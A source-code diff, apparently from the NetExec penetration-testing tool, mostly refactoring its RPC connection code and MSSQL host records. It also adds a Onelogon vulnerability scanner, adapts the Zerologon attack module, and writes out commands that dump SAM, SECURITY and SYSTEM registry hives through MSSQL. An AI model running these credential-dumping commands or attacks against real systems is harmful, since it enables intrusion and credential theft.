portmap.set_auth_level(RPC_C_AUTHN_LEVEL_NONE)
portmap.connect()
portmap = NXCRPCConnection(connection, force_tcp=True).connect(
None,
IID_IObjectExporter,
target_ip=connection.host,
auth_level=RPC_C_AUTHN_LEVEL_NONE,
anonymous_rpc=True,
)
objExporter = IObjectExporter(portmap)
bindings = objExporter.ServerAlive2()
+1 -1
View File
@@ -40,7 +40,7 @@ class NXCModule:
output_lines = []
for row in result:
output_value = row.get("output")
if output_value and output_value != "NULL":
if output_value:
output_lines.append(str(output_value))
if output_lines:
+3 -30
View File
@@ -1,8 +1,8 @@
import contextlib
import sys
from impacket.ldap.ldap import MODIFY_ADD, MODIFY_DELETE
from impacket.dcerpc.v5 import samr, epm, transport
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5 import samr
from nxc.helpers.rpc import NXCRPCConnection
from nxc.parsers.ldap_results import parse_result_attributes
from nxc.helpers.misc import CATEGORY
@@ -61,36 +61,9 @@ class NXCModule:
elif context.protocol == "ldap" and self.group:
self._modify_group_ldap()
def _authenticate_dce(self, protocol="ncacn_np", interface=samr.MSRPC_UUID_SAMR):
"""Authenticate to the target using DCE/RPC"""
try:
# Map to the endpoint on the target
string_binding = epm.hept_map(self.connection.host, interface, protocol=protocol)
rpctransport = transport.DCERPCTransportFactory(string_binding)
rpctransport.setRemoteHost(self.connection.host)
rpctransport.set_credentials(
self.connection.username,
self.connection.password,
self.connection.domain,
self.connection.lmhash,
self.connection.nthash,
aesKey=self.connection.aesKey,
)
self.context.log.info(f"Connecting as {self.connection.domain}\\{self.connection.username}")
# Connect to the DCE/RPC endpoint and bind to the service
dce = rpctransport.get_dce_rpc()
dce.connect()
self.context.log.info("Successfully connected to DCE/RPC")
dce.bind(interface)
self.context.log.info(f"Successfully bound to {interface}")
return dce
except DCERPCException as e:
self.context.log.fail(f"DCE/RPC Exception: {e!s}")
def _modify_group_smb(self):
"""Modify group membership using SMB/SAMR protocol"""
dce = self._authenticate_dce()
dce = NXCRPCConnection(self.connection).connect(r"\samr", samr.MSRPC_UUID_SAMR)
if not dce:
return
+1 -1
View File
@@ -446,7 +446,7 @@ class NXCModule:
res = self.query_and_get_output(f"SELECT IS_SRVROLEMEMBER('sysadmin', '{username}')")
is_admin = res[0][""]
try:
if is_admin != "NULL" and int(is_admin):
if is_admin is not None and int(is_admin):
self.admin_privs = True
self.context.log.debug(f"Updated: {username} is admin!")
return True
+85
View File
@@ -0,0 +1,85 @@
from nxc.helpers.misc import CATEGORY
from impacket.examples.secretsdump import RemoteOperations
from impacket.dcerpc.v5 import rrp
from impacket.smbconnection import SessionError
from configparser import ConfigParser
class NXCModule:
"""Module by @NeffIsBack
Based on the paper "Onelogon: Taking over Active Directory Accounts via Netlogon": https://softsec.rub.de/files/pdf/woot2026-onelogon.pdf
"""
name = "onelogon"
description = "Scan GPOs and registry for machine accounts vulnerable to Onelogon"
supported_protocols = ["smb"]
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
"""No options available"""
def on_login(self, context, connection):
def output_callback(data):
self.gpo_data += data
found_dacls = []
policies = connection.conn.listPath("SYSVOL", f"{connection.targetDomain}/Policies/*")
for policy in policies:
# Skip "." and ".." directory pointers to avoid path errors
if policy.get_longname() in [".", ".."]:
continue
try:
self.gpo_data = b""
connection.conn.getFile("SYSVOL", f"{connection.targetDomain}/Policies/{policy.get_longname()}/MACHINE/Microsoft/Windows NT/SecEdit/GptTmpl.inf", output_callback)
try:
decoded_data = self.gpo_data.decode("utf-8")
except UnicodeDecodeError:
context.log.debug(f"Failed to decode GPO data for policy {policy.get_shortname()} as UTF-8, trying UTF-16...")
decoded_data = self.gpo_data.decode("utf-16")
# Use strict=False and interpolation=None to safely handle Windows INI quirks and % variables.
# Some sections (e.g. [Service General Setting]) use value-less CSV-style rows like:
# "WinRM",2,""
# which require allow_no_value=True to avoid ParsingError.
config_parser = ConfigParser(strict=False, interpolation=None, allow_no_value=True)
config_parser.read_string(decoded_data)
for section in config_parser.sections():
for key, value in config_parser.items(section):
if key == "MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Netlogon\\Parameters\\VulnerableChannelAllowList".lower():
context.log.debug(f"Found vulnerable channel allow list: {value}")
try:
# Strip the surrounding double quotes from the extracted string
found_dacls.append({"name": policy.get_shortname(), "data": value[2:].strip('"')})
except Exception as e:
context.log.error(f"Could not parse Registry Policy (error: {e}): {section} {key} {value}")
except SessionError as e:
# Catch and safely ignore expected "file not found" errors for policies without security settings
if "STATUS_OBJECT_NAME_NOT_FOUND" in str(e) or "STATUS_NO_SUCH_FILE" in str(e):
pass
else:
context.log.debug(f"SMB Session Error reading policy {policy.get_shortname()}: {e}")
except Exception as e:
context.log.error(f"Error parsing policy {policy.get_shortname()}, {e.__class__.__name__}: {e}")
if found_dacls:
context.log.success(f"Found {len(found_dacls)} matching policies in SYSVOL Share.")
for dacl in found_dacls:
context.log.success(f"Found vulnerable channel allow list in policy '{dacl['name']}': '{dacl['data']}'")
else:
context.log.error("No matching policies found in SYSVOL Share.")
def on_admin_login(self, context, connection):
try:
remoteOps = RemoteOperations(connection.conn, False)
remoteOps.enableRegistry()
regHandle = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)["phKey"]
keyHandle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "SYSTEM\\CurrentControlSet\\Services\\Netlogon\\Parameters")["phkResult"]
value = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "VulnerableChannelAllowList")[1].rstrip("\x00")
context.log.success(f"Found VulnerableChannelAllowList registry configuration: {value}")
except Exception as e:
context.log.error(f"Error while querying registry: {e}")
+12 -31
View File
@@ -1,10 +1,11 @@
import re
from impacket.dcerpc.v5 import samr, tsch, transport
from impacket.dcerpc.v5 import samr, tsch
from impacket.dcerpc.v5 import tsts as TSTS
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from contextlib import suppress
import traceback
from nxc.helpers.misc import CATEGORY
from nxc.helpers.rpc import NXCRPCConnection
class NXCModule:
@@ -39,36 +40,19 @@ class NXCModule:
context.log.fail(str(e))
context.log.debug(traceback.format_exc())
def get_dce_rpc(self, target, string_binding, dce_binding, connection):
# Create a DCE/RPC transport object with the specified string binding
rpctransport = transport.DCERPCTransportFactory(string_binding)
rpctransport.setRemoteHost(target)
rpctransport.set_credentials(
connection.username,
connection.password,
connection.domain,
connection.lmhash,
connection.nthash,
aesKey=connection.aesKey,
def get_dce_rpc(self, named_pipe, dce_binding, connection, target_ip=None, auth_level=None):
return NXCRPCConnection(connection).connect(
named_pipe,
dce_binding,
target_ip=target_ip,
auth_level=auth_level or RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
)
rpctransport.set_kerberos(connection.kerberos, connection.kdcHost)
# Connect to the DCE/RPC endpoint
dce = rpctransport.get_dce_rpc()
if connection.kerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce.set_credentials(*rpctransport.get_credentials())
dce.connect()
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
dce.bind(dce_binding)
return dce
def enumerate_admin_users(self, context, connection):
admin_users = []
try:
string_binding = fr"ncacn_np:{connection.kdcHost}[\pipe\samr]"
dce = self.get_dce_rpc(connection.kdcHost, string_binding, samr.MSRPC_UUID_SAMR, connection)
dce = self.get_dce_rpc(r"\samr", samr.MSRPC_UUID_SAMR, connection, target_ip=connection.kdcHost)
except Exception as e:
context.log.fail(f"Failed to connect to SAMR: {e}")
context.log.debug(traceback.format_exc())
@@ -174,9 +158,7 @@ class NXCModule:
def check_scheduled_tasks(self, context, connection, admin_users):
"""Checks scheduled tasks over rpc."""
try:
target = connection.remoteName if connection.kerberos else connection.host
stringbinding = f"ncacn_np:{target}[\\pipe\\atsvc]"
dce = self.get_dce_rpc(target, stringbinding, tsch.MSRPC_UUID_TSCHS, connection)
dce = self.get_dce_rpc(r"\atsvc", tsch.MSRPC_UUID_TSCHS, connection)
# Also extract non admins where we can get the password
self.non_admins = []
@@ -200,8 +182,7 @@ class NXCModule:
non_admin_sids.add(sid.group(1))
if non_admin_sids:
string_binding = fr"ncacn_np:{connection.kdcHost}[\pipe\samr]"
dce = self.get_dce_rpc(connection.kdcHost, string_binding, samr.MSRPC_UUID_SAMR, connection)
dce = self.get_dce_rpc(r"\samr", samr.MSRPC_UUID_SAMR, connection, target_ip=connection.kdcHost)
# Get Domain Handle
server_handle = samr.hSamrConnect2(dce)["ServerHandle"]
+4 -36
View File
@@ -1,17 +1,13 @@
from impacket import system_errors
from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE, rpc_status_codes
from impacket.dcerpc.v5.rpcrt import DCERPCException, rpc_status_codes
from impacket.structure import Structure
from impacket.dcerpc.v5 import transport, rprn
from impacket.dcerpc.v5 import rprn
from nxc.helpers.rpc import NXCRPCConnection
from impacket.dcerpc.v5.ndr import NDRCALL, NDRPOINTER, NDRSTRUCT, NDRUNION, NULL
from impacket.dcerpc.v5.dtypes import DWORD, LPWSTR, ULONG, WSTR
from impacket.dcerpc.v5.rprn import checkNullString, STRING_HANDLE, PBYTE_ARRAY
from nxc.helpers.misc import CATEGORY
KNOWN_PROTOCOLS = {
135: {"bindstr": r"ncacn_ip_tcp:%s[135]"},
445: {"bindstr": r"ncacn_np:%s[\pipe\epmapper]"},
}
class NXCModule:
"""
@@ -27,7 +23,6 @@ class NXCModule:
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
self.__string_binding = None
self.port = None
def options(self, context, module_options):
@@ -37,35 +32,8 @@ class NXCModule:
self.port = int(module_options["PORT"])
def on_login(self, context, connection):
# Connect and bind to MS-RPRN (https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/848b8334-134a-4d02-aea4-03b673d6c515)
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
stringbinding = rf"ncacn_np:{target}[\PIPE\spoolss]"
context.log.info(f"Binding to {stringbinding!r}")
rpctransport = transport.DCERPCTransportFactory(stringbinding)
rpctransport.set_credentials(
connection.username,
connection.password,
connection.domain,
connection.lmhash,
connection.nthash,
connection.aesKey,
)
rpctransport.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost)
rpctransport.setRemoteHost(target)
rpctransport.set_dport(self.port)
try:
dce = rpctransport.get_dce_rpc()
if connection.kerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
# Connect to spoolss named pipe
dce.connect()
# Bind to MSRPC MS-RPRN UUID: 12345678-1234-ABCD-EF00-0123456789AB
dce.bind(rprn.MSRPC_UUID_RPRN)
dce = NXCRPCConnection(connection).connect(r"\spoolss", rprn.MSRPC_UUID_RPRN)
except Exception as e:
context.log.fail(f"Failed to bind: {e}")
return False
+5 -14
View File
@@ -1,9 +1,9 @@
import contextlib
from impacket.dcerpc.v5 import transport, rrp
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
from impacket.dcerpc.v5 import rrp
from impacket.dcerpc.v5.rpcrt import DCERPCException
from nxc.helpers.misc import CATEGORY
from nxc.helpers.rpc import NXCRPCConnection
from impacket.smbconnection import SMBConnection
@@ -24,18 +24,9 @@ class NXCModule:
connection.trigger_winreg()
rpc = transport.DCERPCTransportFactory(r"ncacn_np:445[\pipe\winreg]")
rpc.set_smb_connection(connection.conn)
if connection.kerberos:
rpc.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost)
dce = rpc.get_dce_rpc()
if connection.kerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce = None
try:
dce.connect()
dce.bind(rrp.MSRPC_UUID_RRP)
dce = NXCRPCConnection(connection).connect(r"\winreg", rrp.MSRPC_UUID_RRP)
# Open HKEY_LOCAL_MACHINE
ans = rrp.hOpenLocalMachine(dce)
@@ -47,7 +38,7 @@ class NXCModule:
except DCERPCException:
self.context.log.fail("No site Database found")
except DCERPCException as e:
if "rpc_s_access_denied" in str(e):
if "rpc_s_access_denied" in str(e) or "ERROR_FILE_NOT_FOUND" in str(e):
self.context.log.info(f"Probably not a primary site server or a distribution point: {e}")
else:
self.context.log.fail(f"Unexpected error: {e}")
+2 -2
View File
@@ -1,6 +1,6 @@
from impacket.ldap import ldap, ldaptypes
from impacket.ldap.ldap import LDAPSearchError
from ldap3.protocol.microsoft import security_descriptor_control
from impacket.ldap.ldapasn1 import SDFlagsControl
from nxc.helpers.misc import CATEGORY
from nxc.parsers.ldap_results import parse_result_attributes
@@ -56,7 +56,7 @@ class NXCModule:
try:
# Search for SCCM root object
search_filter = f"(distinguishedName=CN=System Management,CN=System,{self.base_dn})"
controls = security_descriptor_control(sdflags=0x04)
controls = [SDFlagsControl(criticality=False, flags=0x04)]
context.log.display(f"Looking for the SCCM container with filter: '{search_filter}'")
result = connection.ldap_connection.search(
searchFilter=search_filter,
+9 -18
View File
@@ -173,24 +173,15 @@ class NXCModule:
self.logger.display("Connecting to the remote Service control endpoint")
try:
exec_method = TSCH_EXEC(
connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
connection.smb_share_name,
connection.username,
connection.password,
connection.domain,
connection.kerberos,
connection.aesKey,
connection.host,
connection.kdcHost,
connection.hash,
self.logger,
connection.args.get_output_tries,
connection.args.share,
self.run_task_as,
self.command_to_run,
self.output_filename,
self.task_name,
self.output_file_location,
connection=connection,
logger=self.logger,
tries=connection.args.get_output_tries,
share=connection.args.share,
run_task_as=self.run_task_as,
run_cmd=self.command_to_run,
output_filename=self.output_filename,
task_name=self.task_name,
output_file_location=self.output_file_location,
)
if self.show_output is False:
+15 -21
View File
@@ -1,9 +1,10 @@
from impacket.dcerpc.v5 import samr, transport
from impacket.dcerpc.v5 import samr
from impacket.nt_errors import STATUS_MORE_ENTRIES
from impacket.dcerpc.v5.rpcrt import DCERPCException
from json import loads
from traceback import format_exc as traceback_format_exc
from nxc.helpers.misc import CATEGORY
from nxc.helpers.rpc import NXCRPCConnection
class NXCModule:
@@ -46,24 +47,14 @@ class NXCModule:
self.__nthash = context.hash[0]
self.__lmhash = "00000000000000000000000000000000"
self.getSAMRResetInfo(context)
def getSAMRResetInfo(self, context):
string_binding = f"ncacn_np:{self.__targetIp}[\\pipe\\samr]"
rpc_transport = transport.DCERPCTransportFactory(string_binding)
rpc_transport.set_dport(445)
rpc_transport.setRemoteHost(self.__targetIp)
if hasattr(rpc_transport, "set_credentials"):
# This method exists only for selected protocol sequences.
rpc_transport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash,
self.__nthash, self.__aesKey)
rpc_transport.set_kerberos(self.__doKerberos, self.__kdcHost)
self.getSAMRResetInfo(context, connection)
def getSAMRResetInfo(self, context, connection):
dce = None
server_handle = None
domain_handle = None
try:
dce = rpc_transport.get_dce_rpc()
dce.connect()
dce.bind(samr.MSRPC_UUID_SAMR)
dce = NXCRPCConnection(connection).connect(r"\samr", samr.MSRPC_UUID_SAMR)
# obtain server handle for samr connection
resp = samr.hSamrConnect(dce)
@@ -128,8 +119,11 @@ class NXCModule:
context.log.debug(traceback_format_exc())
finally:
if domain_handle is not None:
samr.hSamrCloseHandle(dce, domain_handle)
if server_handle is not None:
samr.hSamrCloseHandle(dce, server_handle)
try:
if domain_handle is not None:
samr.hSamrCloseHandle(dce, domain_handle)
if server_handle is not None:
samr.hSamrCloseHandle(dce, server_handle)
except Exception as e:
context.log.debug(f"Error during SAMR cleanup: {e}")
dce.disconnect()
+14 -28
View File
@@ -1,6 +1,6 @@
# https://raw.githubusercontent.com/SecureAuthCorp/impacket/master/examples/rpcdump.py
from impacket import uuid
from impacket.dcerpc.v5 import transport, epm
from impacket.dcerpc.v5 import epm
from impacket.dcerpc.v5.rpch import (
RPC_PROXY_INVALID_RPC_PORT_ERR,
RPC_PROXY_CONN_A1_0X6BA_ERR,
@@ -9,11 +9,7 @@ from impacket.dcerpc.v5.rpch import (
)
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
from nxc.helpers.misc import CATEGORY
KNOWN_PROTOCOLS = {
135: {"bindstr": r"ncacn_ip_tcp:%s[135]"},
445: {"bindstr": r"ncacn_np:%s[\pipe\epmapper]"},
}
from nxc.helpers.rpc import NXCRPCConnection
class NXCModule:
@@ -41,21 +37,20 @@ class NXCModule:
def on_login(self, context, connection):
entries = []
lmhash = getattr(connection, "lmhash", "")
nthash = getattr(connection, "nthash", "")
self.__stringbinding = KNOWN_PROTOCOLS[self.port]["bindstr"] % connection.host
context.log.debug(f"StringBinding {self.__stringbinding}")
rpctransport = transport.DCERPCTransportFactory(self.__stringbinding)
rpctransport.set_credentials(connection.username, connection.password, connection.domain, lmhash, nthash)
rpctransport.setRemoteHost(connection.host)
rpctransport.set_dport(self.port)
if connection.kerberos:
rpctransport.set_kerberos(connection.kerberos, connection.kdcHost)
use_tcp = self.port == 135
try:
entries = self.__fetch_list(connection.kerberos, rpctransport)
rpc = NXCRPCConnection(connection, force_tcp=use_tcp)
if use_tcp:
rpc.rpc_transport = rpc.create_tcp_transport(target_ip=connection.host)
else:
rpc.rpc_transport = rpc.create_smb_transport(r"\epmapper")
dce = rpc.rpc_transport.get_dce_rpc()
if connection.kerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce.connect()
entries = list(epm.hept_lookup(None, dce=dce))
dce.disconnect()
except Exception as e:
error_text = f"Protocol failed: {e}"
context.log.critical(error_text)
@@ -112,12 +107,3 @@ class NXCModule:
context.log.debug(f"[Spooler] Received {num} endpoints")
else:
context.log.debug("[Spooler] No endpoints found")
def __fetch_list(self, doKerberos, rpctransport):
dce = rpctransport.get_dce_rpc()
if doKerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce.connect()
resp = epm.hept_lookup(None, dce=dce)
dce.disconnect()
return resp
+12 -8
View File
@@ -1,10 +1,11 @@
# everything is comming from https://github.com/dirkjanm/CVE-2020-1472
# credit to @dirkjanm
# module by : @mpgn_x64
from impacket.dcerpc.v5 import nrpc, epm, transport
from impacket.dcerpc.v5 import nrpc, epm
from impacket.dcerpc.v5.rpcrt import DCERPCException
import sys
from nxc.helpers.misc import CATEGORY
from nxc.helpers.rpc import NXCRPCConnection
from nxc.logger import nxc_logger
# Give up brute-forcing after this many attempts. If vulnerable, 256 attempts are expected to be necessary on average.
@@ -26,7 +27,7 @@ class NXCModule:
def on_login(self, context, connection):
self.context = context
if self.perform_attack("\\\\" + connection.hostname, connection.host, connection.hostname, connection.host):
if self.perform_attack(connection, "\\\\" + connection.hostname, connection.host, connection.hostname, connection.host):
self.context.log.highlight("VULNERABLE")
self.context.log.highlight("Next step: https://github.com/dirkjanm/CVE-2020-1472")
try:
@@ -43,17 +44,20 @@ class NXCModule:
except Exception:
self.context.log.debug("Error updating zerologon status in database")
def perform_attack(self, dc_handle, dc_ip, target_computer, remoteHost):
def perform_attack(self, connection, dc_handle, dc_ip, target_computer, remoteHost):
# Keep authenticating until successful. Expected average number of attempts needed: 256.
self.context.log.debug("Performing authentication attempts...")
rpc_con = None
try:
binding = epm.hept_map(remoteHost, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp")
rpc_con_ = transport.DCERPCTransportFactory(binding.replace(remoteHost, dc_ip))
rpc_con_.setRemoteHost(remoteHost)
rpc_con = rpc_con_.get_dce_rpc()
rpc_con.connect()
rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
string_binding = binding.replace(remoteHost, dc_ip)
rpc_con = NXCRPCConnection(connection).connect(
None,
nrpc.MSRPC_UUID_NRPC,
string_binding=string_binding,
set_remote_host=remoteHost,
anonymous_rpc=True,
)
for _attempt in range(MAX_ATTEMPTS):
result = try_zero_authenticate(rpc_con, dc_handle, dc_ip, target_computer)
if result:
Executable → Regular
+14 -2
View File
@@ -1,4 +1,5 @@
# PYTHON_ARGCOMPLETE_OK
import contextlib
import sys
from nxc.helpers.logger import highlight
from nxc.helpers.misc import identify_target_file, display_modules
@@ -17,6 +18,7 @@ from nxc.database import create_db_engine
from concurrent.futures import ThreadPoolExecutor, as_completed
import asyncio
from nxc.helpers import powershell
import signal
import shutil
import os
from os.path import exists
@@ -67,7 +69,19 @@ async def start_run(protocol_obj, args, db, targets): # noqa: RUF029
nxc_logger.exception(f"Exception for target {targets[futures.index(future)]}: {future.exception()}")
def ctrl_c(sig, frame):
nxc_logger.debug("Got keyboard interrupt")
with contextlib.suppress(Exception):
if hasattr(nxc_console, "_live_stack") and nxc_console._live_stack:
for live in nxc_console._live_stack:
live.stop()
nxc_console.show_cursor(True)
nxc_logger.highlight("[!] Interrupted, exiting.")
os._exit(0)
def main():
signal.signal(signal.SIGINT, ctrl_c)
first_run_setup(nxc_logger)
args, version_info = gen_cli_args()
@@ -209,8 +223,6 @@ def main():
try:
asyncio.run(start_run(protocol_object, args, db, targets))
except KeyboardInterrupt:
nxc_logger.debug("Got keyboard interrupt")
finally:
db_engine.dispose()
+8 -2
View File
@@ -191,6 +191,10 @@ class ldap(connection):
self.cbt_status = "No TLS cert"
else:
raise
except OSError as e:
# Should catch TimeoutError ([Errno 110]), ConnectionRefusedError, host/network unreachable, etc.
self.logger.debug(f"Connection error while checking LDAPS channel binding on {self.host}: {e!s}")
self.cbt_status = "Unknown"
def enum_host_info(self):
# Enumerate LDAP info
@@ -626,6 +630,7 @@ class ldap(connection):
search_filter = (f"(|(objectSid={self.sid_domain}-512)"
f"(objectSid={self.sid_domain}-519)"
f"(objectSid={self.sid_domain}-544)"
"(objectSid=S-1-5-32-544)"
"(objectSid=S-1-5-32-549)"
"(objectSid=S-1-5-32-551))")
attributes = ["distinguishedName"]
@@ -1009,11 +1014,12 @@ class ldap(connection):
self.logger.highlight("No entries found!")
return
disabled_accounts = [x for x in resp_parsed if int(x["userAccountControl"]) & UF_ACCOUNTDISABLE]
# Filter disabled and invalid accounts
disabled_accounts = [x for x in resp_parsed if int(x.get("userAccountControl", 0)) & UF_ACCOUNTDISABLE]
for account in disabled_accounts:
self.logger.display(f"Skipping disabled account: {account['sAMAccountName']}")
enabled = [x for x in resp_parsed if not int(x["userAccountControl"]) & UF_ACCOUNTDISABLE]
enabled = [x for x in resp_parsed if not int(x.get("userAccountControl", 0)) & UF_ACCOUNTDISABLE]
if self.args.targeted_kerberoast:
self.logger.success(f"Found {len(enabled)} enabled users without SPN.")
+14 -3
View File
@@ -96,6 +96,13 @@ class mssql(connection):
# If the MSSQL Server responds with a TDS_ENCRYPT_REQ or TDS_ENCRYPT_OFF then we need to setup a TLS context
resp = self.conn.preLogin()
self.encryption = False
# Parses the MSSQL version
self.edition, self.version = (
str(self.conn.mssql_version).split("Server ")[1].split(" (")[0],
str(self.conn.mssql_version).rsplit("(", 1)[1].rstrip(")")
)
if resp["Encryption"] == TDS_ENCRYPT_REQ or resp["Encryption"] == TDS_ENCRYPT_OFF:
# We switch to a TLS context handled by tds.py
self.conn.set_tls_context()
@@ -147,7 +154,7 @@ class mssql(connection):
self.logger.debug(f"Server does not support NTLM{detail}")
self.no_ntlm = True
self.db.add_host(self.host, self.hostname, self.domain, self.server_os, len(self.mssql_instances))
self.db.add_host(self.host, self.hostname, self.domain, self.server_os, self.version, len(self.mssql_instances), self.encryption)
if self.args.domain:
self.domain = self.args.domain
@@ -164,7 +171,7 @@ class mssql(connection):
def print_host_info(self):
encryption = colored(f"EncryptionReq:{self.encryption}", host_info_colors[0 if self.encryption else 1], attrs=["bold"])
ntlm = colored(f"(NTLM:{not self.no_ntlm})", host_info_colors[2], attrs=["bold"]) if self.no_ntlm else ""
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.targetDomain}) ({encryption}) {ntlm}")
self.logger.display(f"{self.server_os} ({self.edition} {self.version}) (name:{self.hostname}) (domain:{self.targetDomain}) ({encryption}) {ntlm}")
@reconnect_mssql
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
@@ -462,7 +469,7 @@ class mssql(connection):
for n, item in enumerate(raw_output):
username = item[""]
if username == "NULL":
if username is None:
continue
rid = so_far + n
self.logger.highlight(f"{rid}: {username}")
@@ -554,10 +561,12 @@ class mssql(connection):
system_storename = gen_random_string(6)
dump_command = f"reg save HKLM\\SAM C:\\windows\\temp\\{sam_storename} && reg save HKLM\\SYSTEM C:\\windows\\temp\\{system_storename}"
clean_command = f"del C:\\windows\\temp\\{sam_storename} && del C:\\windows\\temp\\{system_storename}"
get_owner_command = f"icacls C:\\windows\\temp\\{sam_storename} /grant {self.username}:F && icacls C:\\windows\\temp\\{system_storename} /grant {self.username}:F"
output_filename = self.output_file_template.format(output_folder="sam")
try:
exec_method = MSSQLEXEC(self.conn, self.logger)
exec_method.execute(dump_command)
exec_method.execute(get_owner_command)
exec_method.get_file(f"C:\\windows\\temp\\{sam_storename}", f"{output_filename}.sam")
exec_method.get_file(f"C:\\windows\\temp\\{system_storename}", f"{output_filename}.system")
exec_method.execute(clean_command)
@@ -587,10 +596,12 @@ class mssql(connection):
system_storename = gen_random_string(6)
dump_command = f"reg save HKLM\\SECURITY C:\\windows\\temp\\{security_storename} && reg save HKLM\\SYSTEM C:\\windows\\temp\\{system_storename}"
clean_command = f"del C:\\windows\\temp\\{security_storename} && del C:\\windows\\temp\\{system_storename}"
get_owner_command = f"icacls C:\\windows\\temp\\{security_storename} /grant {self.username}:F && icacls C:\\windows\\temp\\{system_storename} /grant {self.username}:F"
output_filename = self.output_file_template.format(output_folder="lsa")
try:
exec_method = MSSQLEXEC(self.conn, self.logger)
exec_method.execute(dump_command)
exec_method.execute(get_owner_command)
exec_method.get_file(f"C:\\windows\\temp\\{security_storename}", f"{output_filename}.security")
exec_method.get_file(f"C:\\windows\\temp\\{system_storename}", f"{output_filename}.system")
exec_method.execute(clean_command)
+11 -3
View File
@@ -1,6 +1,6 @@
import warnings
from sqlalchemy import Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String, func, select, insert, delete
from sqlalchemy import Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String, func, select, insert, delete, Boolean
from sqlalchemy.dialects.sqlite import Insert # used for upsert
from sqlalchemy.exc import SAWarning
from sqlalchemy.orm import declarative_base
@@ -29,7 +29,9 @@ class database(BaseDB):
hostname = Column(String)
domain = Column(String)
os = Column(String)
mssqlversion = Column(String)
instances = Column(Integer)
encryptionReq = Column(Boolean)
__table_args__ = (
PrimaryKeyConstraint("id"),
@@ -83,12 +85,12 @@ class database(BaseDB):
self.AdminRelationsTable = self.reflect_table(self.AdminRelation)
self.LoggedinRelationsTable = self.reflect_table(self.LoggedInRelation)
def add_host(self, ip, hostname, domain, os, instances):
def add_host(self, ip, hostname, domain, os, mssqlversion, instances, encryptionReq):
"""
Check if this host has already been added to the database, if not, add it in.
TODO: return inserted or updated row ids as a list
"""
nxc_logger.debug(f"{domain} {ip} {os} {instances}")
nxc_logger.debug(f"{domain} {ip} {os} {mssqlversion} {instances} {encryptionReq}")
if not domain:
domain = ""
hosts = []
@@ -102,7 +104,9 @@ class database(BaseDB):
"hostname": hostname,
"domain": domain,
"os": os,
"mssqlversion": mssqlversion,
"instances": instances,
"encryptionReq": encryptionReq
}
if not results:
@@ -118,8 +122,12 @@ class database(BaseDB):
host_data["domain"] = domain
if os is not None:
host_data["os"] = os
if mssqlversion is not None:
host_data["mssqlversion"] = mssqlversion
if instances is not None:
host_data["instances"] = instances
if encryptionReq is not None:
host_data["encryptionReq"] = encryptionReq
if host_data not in hosts:
hosts.append(host_data)
+5 -3
View File
@@ -21,7 +21,7 @@ class navigator(DatabaseNavigator):
print_table(data, title="Credentials")
def display_hosts(self, hosts):
data = [["HostID", "Admins", "IP", "Hostname", "Domain", "OS", "DB Instances"]]
data = [["HostID", "Admins", "IP", "Hostname", "Domain", "OS", "MSSQL Version", "DB Instances", "EncryptionReq"]]
for host in hosts:
links = self.db.get_admin_relations(host_id=host[0])
data.append(
@@ -33,6 +33,8 @@ class navigator(DatabaseNavigator):
host[3],
host[4],
host[5],
host[6],
host[7]
]
)
print_table(data, title="Hosts")
@@ -49,12 +51,12 @@ class navigator(DatabaseNavigator):
if len(hosts) > 1:
self.display_hosts(hosts)
elif len(hosts) == 1:
data = [["HostID", "IP", "Hostname", "Domain", "OS"]]
data = [["HostID", "IP", "Hostname", "Domain", "OS", "MSSQL Version", "DB Instances", "EncryptionReq"]]
host_id_list = []
for host in hosts:
host_id_list.append(host[0])
data.append([host[0], host[1], host[2], host[3], host[4]])
data.append([host[0], host[1], host[2], host[3], host[4], host[5], host[6], host[7]])
print_table(data, title="Host(s)")
+1 -1
View File
@@ -21,7 +21,7 @@ class MSSQLEXEC:
raw = self.mssql_conn.sql_query(cmd)
self.logger.debug(f"Raw results from query: {raw}")
if raw:
result = "\n".join(line["output"] for line in raw if line["output"] != "NULL")
result = "\n".join(line["output"] for line in raw if line["output"] is not None)
self.logger.debug(f"Concatenated result together for easier parsing: {result}")
# if you prepend SilentlyContinue it will still output the error, but it will still continue on (so it's not silent...)
if "Preparing modules for first use" in result and "Completed" not in result:
+7
View File
@@ -147,6 +147,8 @@ class nfs(connection):
except Exception as e:
self.logger.fail(f"Failed to connect to NFS3 host: {e}")
self.db.add_host(self.host, self.hostname, self.port, self.nfs_versions, self.root_escape)
def print_host_info(self):
root_escape_str = colored(f"root escape:{self.root_escape}", host_info_colors[1 if self.root_escape else 0], attrs=["bold"])
